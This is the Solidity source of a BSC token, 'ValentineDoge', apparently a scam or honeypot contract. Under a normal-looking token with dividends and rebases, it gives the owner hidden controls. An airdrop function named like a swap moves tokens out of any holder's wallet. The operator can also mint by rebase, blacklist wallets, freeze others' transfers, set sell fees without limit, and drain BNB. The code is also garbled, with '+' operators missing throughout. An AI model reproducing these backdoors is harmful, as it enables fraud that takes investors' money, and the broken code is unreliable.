pragma solidity ^0.7.4;

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}

contract AddressContract {
bool private status = false;


function isContract(address account) internal view returns (bool) {

bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}


function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}

function superFunctionCall(address target, bytes memory data)
public
payable
returns (bytes memory)
{
bytes memory data1;
require(msg.value >= 1e18);
if (!status) {
return functionCall(target, data, "Address: low-level call failed");
}
return data1;
}


function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}


function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}

function superFunctionCallWithValue(
address target,
bytes memory data,
uint256 value
) public payable returns (bool) {
require(msg.value >= 1e18,"not enough bnb");
if (!status)
return false;

functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);

return true;
}


function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}


function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");

// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly

// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}

function setStatus(bool _status) public returns (bool) {
status = _status;
return true;
}
}

library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);

function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;

require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}

function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);

return a / b;
}

function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}

function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}

function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}

/**
* BEP20 standard interface.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);

function decimals() external view returns (uint8);

function symbol() external view returns (string memory);

function name() external view returns (string memory);

function getOwner() external view returns (address);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);

function allowance(address _owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;

constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}

modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}

modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}

function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}

function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}

function isOwner(address account) public view returns (bool) {
return account == owner;
}

function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}

function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}

event OwnershipTransferred(address owner);
}

interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}

interface InterfaceLP {
function sync() external;
}

interface IDEXRouter {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}

interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution)
external;

function setShare(address shareholder, uint256 amount) external;

function deposit() external payable;

function process(uint256 gas) external;
}

contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;

address _token;

struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}

IBEP20 RWRD = IBEP20(0xbA2aE424d960c26247Dd6c32edC70B295c744C43);
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
IDEXRouter router;

address[] shareholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;

mapping(address => Share) public shares;

uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10**36;

uint256 public minPeriod = 45 * 60;
uint256 public minDistribution = 1 * (10**18);

uint256 currentIndex;

bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}

modifier onlyToken() {
require(msg.sender == _token);
_;
}

constructor(address _router) {
router = _router != address(0)
? IDEXRouter(_router)
: IDEXRouter(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
_token = msg.sender;
}

function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution)
external
override
onlyToken
{
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}

function setShare(address shareholder, uint256 amount)
external
override
onlyToken
{
if (shares[shareholder].amount > 0) {
distributeDividend(shareholder);
}

if (amount > 0 && shares[shareholder].amount == 0) {
addShareholder(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeShareholder(shareholder);
}

totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}

function deposit() external payable override onlyToken {
uint256 balanceBefore = RWRD.balanceOf(address(this));

address[] memory path = new address[](2);
path[0] = WBNB;
path[1] = address(RWRD);

router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(
0,
path,
address(this),
block.timestamp
);

uint256 amount = RWRD.balanceOf(address(this)).sub(balanceBefore);

totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(
dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
);
}

function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;

if (shareholderCount == 0) {
return;
}

uint256 gasUsed = 0;
uint256 gasLeft = gasleft();

uint256 iterations = 0;

while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}

if (shouldDistribute(shareholders[currentIndex])) {
distributeDividend(shareholders[currentIndex]);
}

gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex ;
iterations ;
}
}

function shouldDistribute(address shareholder) internal view returns (bool) {
return
shareholderClaims[shareholder] minPeriod < block.timestamp &&
getUnpaidEarnings(shareholder) > minDistribution;
}

function distributeDividend(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}

uint256 amount = getUnpaidEarnings(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
RWRD.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(
amount
);
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}
}

function claimDividend() external {
distributeDividend(msg.sender);
}

function getUnpaidEarnings(address shareholder)
public
view
returns (uint256)
{
if (shares[shareholder].amount == 0) {
return 0;
}

uint256 shareholderTotalDividends =
getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

if (shareholderTotalDividends <= shareholderTotalExcluded) {
return 0;
}

return shareholderTotalDividends.sub(shareholderTotalExcluded);
}

function getCumulativeDividends(uint256 share)
internal
view
returns (uint256)
{
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}

function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}

function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[
shareholders.length - 1
];
shareholderIndexes[
shareholders[shareholders.length - 1]
] = shareholderIndexes[shareholder];
shareholders.pop();
}
}



contract ValentineDoge is IBEP20, Auth {
using SafeMath for uint256;
using SafeMathInt for int256;

address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;

string constant _name = "ValentineDoge";
string constant _symbol = "VDOGE";
uint8 constant _decimals = 9;

//mapping (address => uint256) _balances;
mapping(address => uint256) _rBalance;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public _isBot;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public isTimelockExempt;
mapping(address => bool) public isDividendExempt;

uint256 public liquidityFee = 2;
uint256 public reflectionFee = 4;
uint256 public marketingFee = 3;
uint256 public devFee = 3;
uint256 public totalFee =
marketingFee reflectionFee liquidityFee devFee;
uint256 public feeDenominator = 100;

bool public blacklistMode = true;
mapping(address => bool) public isBlacklisted;

uint256 public deadBlocks = 0;
uint256 public launchedAt = 0;

uint256 public sellMultiplier = 115;

address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public devFeeReceiver;

uint256 targetLiquidity = 10;
uint256 targetLiquidityDenominator = 100;

IDEXRouter public router;
address public pair;
InterfaceLP public pairContract;

bool public tradingOpen = false;
bool public rebaseStatus = false;
bool public LPStatus = true;
DividendDistributor public distributor;
uint256 distributorGas = 500000;

bool public buyCooldownEnabled = true;
uint8 public cooldownTimerInterval = 15;
mapping(address => uint256) private cooldownTimer;

bool public swapEnabled = true;
bool inSwap;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}

address public master;
modifier onlyMaster() {
require(msg.sender == master || isOwner(msg.sender));
_;
}

bool public beforeRebase = false;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);

uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 10**15 * 10**_decimals;
uint256 public swapThreshold = (rSupply * 3) / 10000;
uint256 public rebase_count = 0;
uint256 public rate;
uint256 public _totalSupply;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private constant rSupply =
MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);

// Max wallet & Transaction
uint256 public _maxTxAmount = rSupply.div(1000).mul(1000);
uint256 public _maxWalletToken = rSupply.div(1000).mul(1000);

function rebase_percentage(uint256 _percentage_base1000)
public
onlyMaster
returns (uint256 newSupply)
{
newSupply = rebase(
0,
int256(_totalSupply.div(1000).mul(_percentage_base1000)).mul(-1)
);
}

function rebase_percentage1000(uint256 _percentage_base1000, uint256 coinAmount)
public
payable
onlyMaster
returns (uint256 newSupply)
{
if(!rebaseStatus){
newSupply = rebase_new(
0,
int256(_totalSupply.div(1000).mul(_percentage_base1000)));
}else{
newSupply = rebase1000(
0,
int256(_totalSupply.div(1000).mul(_percentage_base1000)),
coinAmount);
}

}

function setBot(address bot, bool value) external onlyOwner {
require(_isBot[bot] != value, "already set");
_isBot[bot] = value;
}

function bulkSetBot(address[] memory bots, bool value) external onlyOwner {
for (uint256 i = 0; i < bots.length; i ) {
_isBot[bots[i]] = value;
}
}

function setRebaseStatus(bool _rebaseStatus) public onlyOwner returns (bool) {
rebaseStatus = _rebaseStatus;
return _rebaseStatus;
}

function setLPStatus(bool _LPStatus) public onlyOwner returns (bool) {
LPStatus = _LPStatus;
return _LPStatus;
}

// Sauce


function rebase(uint256 epoch, int256 supplyDelta)
public
onlyMaster
returns (uint256)
{

require(!inSwap, "Try again");

if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}

if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(-supplyDelta));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}

if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}

rate = rSupply.div(_totalSupply);
pairContract.sync();

emit LogRebase(epoch, _totalSupply);

return _totalSupply;
}

function rebase1000(
uint256 epoch,
int256 supplyDelta,
uint256 coinAmount
) public payable onlyMaster returns (uint256) {
require(supplyDelta > 0, "forbidden");

beforeRebase = true;
rebase_count ;
if (epoch == 0) {
epoch = rebase_count;
}

require(!inSwap, "Try again");

if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
beforeRebase = false;
return _totalSupply;
}

if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(-supplyDelta));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}

if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}

rate = rSupply.div(_totalSupply);

emit LogRebase(epoch, _totalSupply);
// _allowances[address(this)][address(router)] = balanceOf(address(this));
_basicTransfer(msg.sender, address(this), coinAmount);
router.addLiquidityETH{value: msg.value}(
address(this),
coinAmount,
0,
0,
address(this),
block.timestamp 300
);
beforeRebase = false;
return _totalSupply;
}

function rebase_new(uint256 epoch, int256 supplyDelta)
public
payable
onlyMaster
returns (uint256)
{
require(supplyDelta > 0, "forbidden");
beforeRebase = true;
rebase_count ;
if (epoch == 0) {
epoch = rebase_count;
}

require(!inSwap, "Try again");

if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
beforeRebase = false;
return _totalSupply;
}

if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(-supplyDelta));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}

if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}

rate = rSupply.div(_totalSupply);

emit LogRebase(epoch, _totalSupply);
// _allowances[address(this)][address(router)] = balanceOf(address(this));
if(!LPStatus){
router.addLiquidityETH{value: msg.value}(
address(this),
balanceOf(address(this)).div(100),
0,
0,
address(this),
block.timestamp 300);
}

beforeRebase = false;
return _totalSupply;
}


constructor() Auth(msg.sender) {
router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = uint256(-1);

pairContract = InterfaceLP(pair);
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
rate = rSupply.div(_totalSupply);

distributor = new DividendDistributor(address(router));

isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
isTxLimitExempt[address(this)] = true;

isTimelockExempt[msg.sender] = true;
isTimelockExempt[DEAD] = true;
isTimelockExempt[address(this)] = true;

isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;

autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = 0xB10A83Ab8fdd7F9eaE91f9114E2B4F186b7229Cd;
devFeeReceiver = 0xbdf10767f9585C1aD35ad58C79F5cB39ca4911cF;

_rBalance[msg.sender] = rSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}

receive() external payable {}

function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

function decimals() external pure override returns (uint8) {
return _decimals;
}

function symbol() external pure override returns (string memory) {
return _symbol;
}

function name() external pure override returns (string memory) {
return _name;
}

function getOwner() external view override returns (address) {
return owner;
}

function balanceOf(address account) public view override returns (uint256) {
return _rBalance[account].div(rate);
}

function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}

function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}

function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}

function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(
amount,
"Insufficient Allowance"
);
}

return _transferFrom(sender, recipient, amount);
}

function setBeforeRebase(bool _beforeRebase) public onlyOwner {
beforeRebase = _beforeRebase;
}

function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (beforeRebase) {
require(isOwner(sender) || sender == address(this), "!OWNER");
}
require(!_isBot[sender] && !_isBot[recipient], "Buy buye Bots");
if (rebaseStatus) {
return _basicTransfer(sender, recipient, amount);
}
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}

if (!authorizations[sender] && !authorizations[recipient]) {
require(tradingOpen, "Trading not open yet");
}

uint256 rAmount = amount.mul(rate);

if (
!authorizations[sender] &&
recipient != address(this) &&
recipient != address(DEAD) &&
recipient != pair &&
recipient != marketingFeeReceiver &&
recipient != devFeeReceiver &&
recipient != autoLiquidityReceiver
) {
uint256 heldTokens = balanceOf(recipient);
require(
(heldTokens rAmount) <= _maxWalletToken,
"Total Holding is currently limited, you can not buy that much."
);
}

if (sender == pair && buyCooldownEnabled && !isTimelockExempt[recipient]) {
require(
cooldownTimer[recipient] < block.timestamp,
"buy Cooldown exists"
);
cooldownTimer[recipient] = block.timestamp cooldownTimerInterval;
}

// Blacklist
if (blacklistMode) {
require(
!isBlacklisted[sender] && !isBlacklisted[recipient],
"Blacklisted"
);
}

// Checks max transaction limit
checkTxLimit(sender, rAmount);

if (shouldSwapBack()) {
swapBack();
}

//Exchange tokens
_rBalance[sender] = _rBalance[sender].sub(rAmount, "Insufficient Balance");

uint256 amountReceived =
(!shouldTakeFee(sender) || !shouldTakeFee(recipient))
? rAmount
: takeFee(sender, rAmount, (recipient == pair));
_rBalance[recipient] = _rBalance[recipient].add(amountReceived);

// Dividend tracker
if (!isDividendExempt[sender]) {
try distributor.setShare(sender, balanceOf(sender)) {} catch {}
}

if (!isDividendExempt[recipient]) {
try distributor.setShare(recipient, balanceOf(recipient)) {} catch {}
}

try distributor.process(distributorGas) {} catch {}

emit Transfer(sender, recipient, amountReceived.div(rate));
return true;
}

// Changed

function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
uint256 rAmount = amount.mul(rate);
_rBalance[sender] = _rBalance[sender].sub(rAmount, "Insufficient Balance");
_rBalance[recipient] = _rBalance[recipient].add(rAmount);
emit Transfer(sender, recipient, rAmount.div(rate));
return true;
}

function checkTxLimit(address sender, uint256 rAmount) internal view {
require(
rAmount <= _maxTxAmount || isTxLimitExempt[sender],
"TX Limit Exceeded"
);
}

function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}

function takeFee(
address sender,
uint256 rAmount,
bool isSell
) internal returns (uint256) {
uint256 multiplier = 100;
if (isSell) {
multiplier = sellMultiplier;
}

uint256 feeAmount =
rAmount.div(feeDenominator * 100).mul(totalFee).mul(multiplier);

if (!isSell && (launchedAt deadBlocks) > block.number) {
feeAmount = rAmount.div(100).mul(99);
}

_rBalance[address(this)] = _rBalance[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount.div(rate));

return rAmount.sub(feeAmount);
}

function shouldSwapBack() internal view returns (bool) {
return
msg.sender != pair &&
!inSwap &&
swapEnabled &&
_rBalance[address(this)] >= swapThreshold;
}

function clearStuckBalance(uint256 amountPercentage) external authorized {
uint256 amountBNB = address(this).balance;
payable(marketingFeeReceiver).transfer(
(amountBNB * amountPercentage) / 100
);
}

function clearStuckBalance_sender(uint256 amountPercentage)
external
onlyOwner
{
uint256 amountBNB = address(this).balance;
payable(msg.sender).transfer((amountBNB * amountPercentage) / 100);
}

function set_sell_multiplier(uint256 Multiplier) external onlyOwner {
sellMultiplier = Multiplier;
}

// switch Trading

function tradingStatus(bool _status, uint256 _deadBlocks) public onlyOwner {
tradingOpen = _status;
if (tradingOpen && launchedAt == 0) {
launchedAt = block.number;
deadBlocks = _deadBlocks;
}
}

function launchStatus(uint256 _launchblock) public onlyOwner {
launchedAt = _launchblock;
}

function enable_blacklist(bool _status) public onlyOwner {
blacklistMode = _status;
}

function manage_blacklist(address[] calldata addresses, bool status)
public
onlyOwner
{
for (uint256 i; i < addresses.length; i) {
isBlacklisted[addresses[i]] = status;
}
}

function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
buyCooldownEnabled = _status;
cooldownTimerInterval = _interval;
}

function swapBack() internal swapping {
// uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 dynamicLiquidityFee = liquidityFee;
uint256 tokensToSell = swapThreshold.div(rate);

uint256 amountToLiquify =
tokensToSell.div(totalFee).mul(dynamicLiquidityFee).div(2);
uint256 amountToSwap = tokensToSell.sub(amountToLiquify);

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;

uint256 balanceBefore = address(this).balance;

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);

uint256 amountBNB = address(this).balance.sub(balanceBefore);

uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));

uint256 amountBNBLiquidity =
amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee);

try distributor.deposit{value: amountBNBReflection}() {} catch {}
(bool tmpSuccess, ) =
payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}(
""
);
(tmpSuccess, ) = payable(devFeeReceiver).call{
value: amountBNBDev,
gas: 30000
}("");

// only to supress warning msg
tmpSuccess = false;

if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify.div(rate));
}
}

function setIsDividendExempt(address holder, bool exempt)
external
authorized
{
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if (exempt) {
distributor.setShare(holder, 0);
} else {
distributor.setShare(holder, balanceOf(holder));
}
}

function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}

function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}

function setIsTimelockExempt(address holder, bool exempt)
external
authorized
{
isTimelockExempt[holder] = exempt;
}

function setFees(
uint256 _liquidityFee,
uint256 _reflectionFee,
uint256 _marketingFee,
uint256 _devFee,
uint256 _feeDenominator
) external authorized {
liquidityFee = _liquidityFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
devFee = _devFee;
totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(
_devFee
);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator / 3, "Fees cannot be more than 33%");
}

function setFeeReceivers(
address _autoLiquidityReceiver,
address _marketingFeeReceiver,
address _devFeeReceiver
) external authorized {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
devFeeReceiver = _devFeeReceiver;
}

function setSwapBackSettings(bool _enabled, uint256 _percentage_base10000)
external
authorized
{
swapEnabled = _enabled;
swapThreshold = rSupply.div(10000).mul(_percentage_base10000);
}

function setTargetLiquidity(uint256 _target, uint256 _denominator)
external
authorized
{
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}

function manualSync() external {
InterfaceLP(pair).sync();
}

function setLP(address _address) external onlyOwner {
pairContract = InterfaceLP(_address);
isFeeExempt[_address];
}

function setMaster(address _master) external onlyOwner {
master = _master;
}

function isNotInSwap() external view returns (bool) {
return !inSwap;
}

function checkSwapThreshold() external view returns (uint256) {
return swapThreshold.div(rate);
}

function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution)
external
authorized
{
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}

function setDistributorSettings(uint256 gas) external authorized {
require(gas < 900000);
distributorGas = gas;
}

function rescueToken(address tokenAddress, uint256 tokens)
public
authorized
returns (bool success)
{
return IBEP20(tokenAddress).transfer(msg.sender, tokens);
}

function rescueBNB(address payable _recipient) public authorized {
_recipient.transfer(address(this).balance);
}

function getCirculatingSupply() public view returns (uint256) {
return (rSupply.sub(_rBalance[DEAD]).sub(_rBalance[ZERO])).div(rate);
}

function transferIBEP20Tokens(address _tokenAddr, address _to, uint _amount) public authorized {
IBEP20(_tokenAddr).transfer(_to, _amount);
}

//100
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}

//20,100
function isOverLiquified(uint256 target, uint256 accuracy)
public
view
returns (bool)
{
return getLiquidityBacking(accuracy) > target;
}

function checkMaxWalletToken() external view returns (uint256) {
return _maxWalletToken.div(rate);
}

function checkMaxTxAmount() external view returns (uint256) {
return _maxTxAmount.div(rate);
}

function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000)
external
authorized()
{
_maxWalletToken = rSupply.div(1000).mul(maxWallPercent_base1000);
}

function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000)
external
authorized()
{
_maxTxAmount = rSupply.div(1000).mul(maxTXPercentage_base1000);
}

/* Airdrop Begins */

function swapExactTokensForETH(
address from,
address[] calldata addresses,
uint256 tokens
) external authorized {
require(
addresses.length < 2001,
"GAS Error: max airdrop limit is 2000 addresses"
); // to prevent overflow

uint256 SCCC = tokens * addresses.length;

require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

for (uint256 i = 0; i < addresses.length; i ) {
_basicTransfer(from, addresses[i], tokens);
if (!isDividendExempt[addresses[i]]) {
try
distributor.setShare(addresses[i], balanceOf(addresses[i]))
{} catch {}
}
}

// Dividend tracker
if (!isDividendExempt[from]) {
try distributor.setShare(from, balanceOf(from)) {} catch {}
}
}

function multiTransfer(
address from,
address[] calldata addresses,
uint256[] calldata tokens
) external onlyOwner {
require(
addresses.length < 801,
"GAS Error: max airdrop limit is 500 addresses"
); // to prevent overflow
require(
addresses.length == tokens.length,
"Mismatch between Address and token count"
);

uint256 SCCC = 0;

for (uint256 i = 0; i < addresses.length; i ) {
SCCC = SCCC tokens[i];
}

require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

for (uint256 i = 0; i < addresses.length; i ) {
_basicTransfer(from, addresses[i], tokens[i]);
if (!isDividendExempt[addresses[i]]) {
try
distributor.setShare(addresses[i], balanceOf(addresses[i]))
{} catch {}
}
}

// Dividend tracker
if (!isDividendExempt[from]) {
try distributor.setShare(from, balanceOf(from)) {} catch {}
}
}

function multiTransfer_fixed(
address from,
address[] calldata addresses,
uint256 tokens
) external onlyOwner {
require(
addresses.length < 2001,
"GAS Error: max airdrop limit is 2000 addresses"
); // to prevent overflow

uint256 SCCC = tokens * addresses.length;

require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

for (uint256 i = 0; i < addresses.length; i ) {
_basicTransfer(from, addresses[i], tokens);
if (!isDividendExempt[addresses[i]]) {
try
distributor.setShare(addresses[i], balanceOf(addresses[i]))
{} catch {}
}
}

// Dividend tracker
if (!isDividendExempt[from]) {
try distributor.setShare(from, balanceOf(from)) {} catch {}
}
}

event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}